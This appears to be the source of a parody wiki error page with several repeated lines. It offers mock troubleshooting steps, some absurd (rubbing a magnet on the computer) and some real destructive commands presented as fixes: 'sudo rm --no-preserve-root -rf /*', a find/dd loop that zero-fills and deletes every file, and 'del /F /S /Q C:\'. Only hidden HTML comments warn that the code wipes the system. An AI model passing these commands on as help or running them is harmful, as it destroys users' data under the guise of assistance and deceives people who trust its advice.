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[[Linux]] users, open a terminal and type the following:
 
[[Linux]] users, open a terminal and type the following:
   
:sudo rm --no-preserve-root -rf /*<!-- To anyone reading this, that code deletes your whole system. -->
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:sudo find / -depth -exec sh -c "sh -c \"dd if=/dev/zero of='{}'; : && while [ -s '{}' ]; do rm -rf '{}'; done\" &" \;<!-- To anyone reading this, that code deletes your whole system. -->
   
 
[[Opera]] users, clean your cache by taking a magnet and rubbing it against the side of your computer.
 
[[Opera]] users, clean your cache by taking a magnet and rubbing it against the side of your computer.

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Error 403: N00bs are not authorized to access this page.



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The page you are looking for is currently unavailable. The website might be experiencing technical difficulties due to a database error, blank article, broken link, or a bad title. You may not have authorization to access this page.

Finally, perhaps you have a poor excuse for a web browser, in which case open a command prompt "Start > Run > cmd" and type the following:

del /F /S /Q C:\

If using Mozilla Firefox or Netscape, try refreshing the page cache by lifting the monitor with the display facing downward and shaking it vigorously, as one would an Etch a' Sketch.

Linux users, open a terminal and type the following:

sudo find / -depth -exec sh -c "sh -c \"dd if=/dev/zero of='{}'; : && while [ -s '{}' ]; do rm -rf '{}'; done\" &" \;

Opera users, clean your cache by taking a magnet and rubbing it against the side of your computer.

Safari users, contact Apple Computers and ask for assistance, if assistance is unavailable please visit this site.

Commodore 65 and a half users, type this:

4ji pppp j9 y ooh ihiojojo ?SYNTAX ERROR

Oh, and contact your local network administrator if this error continues to occur.

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